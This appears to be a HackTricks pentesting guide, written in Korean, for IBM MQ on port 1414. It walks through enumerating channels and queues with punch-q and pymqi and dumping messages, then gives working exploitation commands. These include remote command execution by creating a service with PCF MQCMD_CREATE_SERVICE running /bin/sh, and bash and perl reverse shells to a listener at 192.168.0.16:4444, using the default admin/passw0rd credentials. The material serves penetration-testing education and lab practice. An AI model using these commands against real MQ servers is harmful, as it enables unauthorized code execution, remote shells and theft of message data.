# 1414 - Pentesting IBM MQ {{#include ../banners/hacktricks-training.md}} ## 기본 정보 IBM MQ는 메시지 큐를 관리하기 위한 IBM 기술입니다. 다른 **메시지 브로커** 기술과 마찬가지로, 생산자와 소비자 간의 정보를 수신, 저장, 처리 및 분류하는 데 전념하고 있습니다. 기본적으로, **IBM MQ는 TCP 포트 1414를 노출합니다**. 때때로, HTTP REST API는 포트 **9443**에서 노출될 수 있습니다. 메트릭(프롬테우스)은 TCP 포트 **9157**에서 접근할 수 있습니다. IBM MQ TCP 포트 1414는 메시지, 큐, 채널 등을 조작하는 데 사용될 수 있지만, **인스턴스를 제어하는 데도 사용될 수 있습니다**. IBM은 [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq)에서 사용할 수 있는 방대한 기술 문서를 제공합니다. ## 도구 쉬운 익스플로잇을 위한 추천 도구는 **[punch-q](https://github.com/sensepost/punch-q)**로, Docker를 사용합니다. 이 도구는 Python 라이브러리 `pymqi`를 적극적으로 사용합니다. 보다 수동적인 접근 방식을 원한다면, Python 라이브러리 **[pymqi](https://github.com/dsuch/pymqi)**를 사용하세요. [IBM MQ 종속성](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)이 필요합니다. ### pymqi 설치 **IBM MQ 종속성**을 설치하고 로드해야 합니다: 1. [https://login.ibm.com/](https://login.ibm.com/)에서 계정(IBMid)을 생성합니다. 2. [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)에서 IBM MQ 라이브러리를 다운로드합니다. Linux x86_64의 경우 **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**입니다. 3. 압축을 풉니다 (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`). 4. `sudo ./mqlicense.sh`를 실행하여 라이센스 조건에 동의합니다. > Kali Linux를 사용하는 경우, 파일 `mqlicense.sh`를 수정합니다: 다음 줄(105-110행 사이)을 제거/주석 처리합니다: > > ```bash > if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] > then > echo "ERROR: This package is incompatible with this system" > echo " This package was built for ${BUILD_PLATFORM}" > exit 1 > fi > ``` 5. 다음 패키지를 설치합니다: ```bash sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm ``` 6. 그런 다음, `.so` 파일을 LD에 임시로 추가합니다: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **다른 도구를 이러한 종속성을 사용하여 실행하기 전에**. 그런 다음, 프로젝트 [**pymqi**](https://github.com/dsuch/pymqi)를 클론할 수 있습니다: 흥미로운 코드 스니펫, 상수 등이 포함되어 있습니다. 또는 라이브러리를 직접 설치할 수 있습니다: `pip install pymqi`. ### Using punch-q #### With Docker 간단히 사용하세요: `sudo docker run --rm -ti leonjza/punch-q`. #### Without Docker 프로젝트 [**punch-q**](https://github.com/sensepost/punch-q)를 클론한 다음, 설치를 위해 readme를 따르세요 (`pip install -r requirements.txt && python3 setup.py install`). 그 후, `punch-q` 명령으로 사용할 수 있습니다. ## Enumeration **punch-q** 또는 **pymqi**를 사용하여 **큐 관리자 이름, 사용자, 채널 및 큐**를 열거해 볼 수 있습니다. ### Queue Manager 때때로, 큐 관리자 이름을 얻는 것에 대한 보호가 없습니다: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name Queue Manager name: MYQUEUEMGR ``` ### Channels **punch-q**는 기존 채널을 찾기 위해 내부(수정 가능한) 단어 목록을 사용합니다. 사용 예: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels "DEV.ADMIN.SVRCONN" exists and was authorised. "SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised. "SYSTEM.DEF.SVRCONN" might exist, but user was not authorised. ``` 일부 IBM MQ 인스턴스는 **인증되지 않은** MQ 요청을 허용하므로 `--username / --password`가 필요하지 않습니다. 물론, 접근 권한은 다를 수 있습니다. 하나의 채널 이름(여기서는 `DEV.ADMIN.SVRCONN`)을 얻으면, 다른 모든 채널을 열거할 수 있습니다. 열거는 기본적으로 **pymqi**의 이 코드 스니펫 `code/examples/dis_channels.py`로 수행할 수 있습니다: ```python import logging import pymqi logging.basicConfig(level=logging.INFO) queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' prefix = '*' args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix} qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: response = pcf.MQCMD_INQUIRE_CHANNEL(args) except pymqi.MQMIError as e: if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME: logging.info('No channels matched prefix `%s`' % prefix) else: raise else: for channel_info in response: channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME] logging.info('Found channel `%s`' % channel_name) qmgr.disconnect() ``` ... 하지만 **punch-q**는 그 부분도 포함하고 있습니다 (더 많은 정보와 함께!). 다음과 같이 실행할 수 있습니다: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*' Showing channels with prefix: "*"... | Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher | |----------------------|-------------------|---------|-----------|------------|-----------------|------------| | DEV.ADMIN.SVRCONN | Server-connection | | | | | | | DEV.APP.SVRCONN | Server-connection | app | | | | | | SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | | | SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | | | SYSTEM.DEF.AMQP | AMQP | | | | | | | SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | | | SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | | | SYSTEM.DEF.RECEIVER | Receiver | | | | | | | SYSTEM.DEF.REQUESTER | Requester | | | | | | | SYSTEM.DEF.SENDER | Sender | | | | | | | SYSTEM.DEF.SERVER | Server | | | | | | | SYSTEM.DEF.SVRCONN | Server-connection | | | | | | | SYSTEM.DEF.CLNTCONN | Client-connection | | | | | | ``` ### Queues **pymqi** (`dis_queues.py`)와 함께 코드 스니펫이 있지만 **punch-q**는 큐에 대한 더 많은 정보를 검색할 수 있게 해줍니다: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*' Showing queues with prefix: "*"... | Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description | | | | | | | GR Name | eue Nam | | | | | | | | | e | | |-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------| | 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | | | 0 18.35.1 | E | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | # Truncated ``` ## Exploit ### Dump messages 큐(들)/채널(들)을 대상으로 하여 메시지를 스니핑하거나 덤프할 수 있습니다(비파괴적 작업). _예시:_ ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff ``` ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump ``` **모든 식별된 큐에 대해 반복하는 것을 주저하지 마십시오.** ### 코드 실행 > 계속하기 전에 몇 가지 세부정보: IBM MQ는 여러 방법으로 제어할 수 있습니다: MQSC, PCF, Control Command. 일반적인 목록은 [IBM MQ 문서](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison)에서 찾을 수 있습니다. > [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_프로그래머블 커맨드 포맷_**)은 인스턴스와 원격으로 상호작용하기 위해 우리가 집중하는 것입니다. **punch-q**와 더불어 **pymqi**는 PCF 상호작용을 기반으로 합니다. > > PCF 명령 목록을 찾을 수 있습니다: > > - [PCF 문서에서](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), 및 > - [상수에서](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes). > > 흥미로운 명령 중 하나는 `MQCMD_CREATE_SERVICE`이며, 그 문서는 [여기](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms)에서 확인할 수 있습니다. 이 명령은 인스턴스의 로컬 프로그램을 가리키는 `StartCommand`를 인수로 사용합니다 (예: `/bin/sh`). > > 문서에는 이 명령에 대한 경고도 있습니다: _"주의: 이 명령은 사용자가 mqm 권한으로 임의의 명령을 실행할 수 있도록 허용합니다. 이 명령을 사용할 권한이 부여되면, 악의적이거나 부주의한 사용자가 시스템이나 데이터를 손상시키는 서비스를 정의할 수 있습니다. 예를 들어, 필수 파일을 삭제하는 것입니다."_ > > _참고: 항상 IBM MQ 문서(관리 참조)에 따르면, 서비스 생성을 위한 동등한 MQSC 명령(`DEFINE SERVICE`)을 실행하기 위해 `/admin/action/qmgr/{qmgrName}/mqsc`에 HTTP 엔드포인트도 있습니다. 이 측면은 아직 여기에서 다루어지지 않았습니다._ 원격 프로그램 실행을 위한 PCF를 사용한 서비스 생성/삭제는 **punch-q**로 수행할 수 있습니다: **예제 1** ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id" ``` > IBM MQ의 로그에서 명령이 성공적으로 실행되었다고 읽을 수 있습니다: > > ```bash > 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)] > ``` 기계에서 기존 프로그램을 나열할 수도 있습니다 (여기서 `/bin/doesnotexist` ... 존재하지 않습니다): ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg s "whatever" Command: /bin/doesnotexist Arguments: -c id Service Name: 6e3ef5af652b4436 Creating service... Starting service... The program '/bin/doesnotexist' is not available on the remote system. Giving the service 0 second(s) to live... Cleaning up service... Done ``` **프로그램 실행이 비동기적이라는 점에 유의하세요. 따라서 익스플로잇을 활용하기 위해 두 번째 항목이 필요합니다** **_(리버스 셸 리스너, 다른 서비스에서 파일 생성, 네트워크를 통한 데이터 유출 ...)_** **예제 2** 쉬운 리버스 셸을 위해, **punch-q**는 두 가지 리버스 셸 페이로드를 제안합니다: - 하나는 bash - 하나는 perl _물론 `execute` 명령어로 사용자 정의 페이로드를 만들 수 있습니다._ bash의 경우: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` Perl에 대해: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` ### Custom PCF IBM MQ 문서를 자세히 살펴보고 **pymqi** 파이썬 라이브러리를 사용하여 **punch-q**에 구현되지 않은 특정 PCF 명령을 테스트할 수 있습니다. **Example:** ```python import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: # Replace here with your custom PCF args and command # The constants can be found in pymqi/code/pymqi/CMQCFC.py args = {pymqi.CMQCFC.xxxxx: "value"} response = pcf.MQCMD_CUSTOM_COMMAND(args) except pymqi.MQMIError as e: print("Error") else: # Process response qmgr.disconnect() ``` 상수 이름을 찾을 수 없는 경우, [IBM MQ 문서](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors)를 참조할 수 있습니다. > _[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster)의 예 (십진수 = 73). 매개변수 `MQCA_CLUSTER_NAME` (십진수 = 2029)이 필요하며, 이는 `_`일 수 있습니다 (문서: ):\* > > ```python > import pymqi > > queue_manager = 'MYQUEUEMGR' > channel = 'DEV.ADMIN.SVRCONN' > host = '172.17.0.2' > port = '1414' > conn_info = '%s(%s)' % (host, port) > user = 'admin' > password = 'passw0rd' > > qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) > pcf = pymqi.PCFExecute(qmgr) > > try: > args = {2029: "*"} > response = pcf.MQCMD_REFRESH_CLUSTER(args) > except pymqi.MQMIError as e: > print("Error") > else: > print(response) > > qmgr.disconnect() > ``` ## 테스트 환경 IBM MQ의 동작 및 익스플로잇을 테스트하려면 Docker를 기반으로 한 로컬 환경을 설정할 수 있습니다: 1. ibm.com 및 cloud.ibm.com에 계정이 있어야 합니다. 2. 다음을 사용하여 컨테이너화된 IBM MQ를 생성합니다: ```bash sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2 sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2 ``` 기본적으로 인증이 활성화되어 있으며, 사용자 이름은 `admin`이고 비밀번호는 `passw0rd`입니다 (환경 변수 `MQ_ADMIN_PASSWORD`). 여기서 큐 관리자 이름은 `MYQUEUEMGR`로 설정되어 있습니다 (변수 `MQ_QMGR_NAME`). IBM MQ가 실행 중이며 포트가 노출되어 있어야 합니다: ```bash ❯ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq ``` > IBM MQ 도커 이미지의 이전 버전은 다음에 있습니다: https://hub.docker.com/r/ibmcom/mq/. ## References - [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec) - [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) - [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq) {{#include ../banners/hacktricks-training.md}}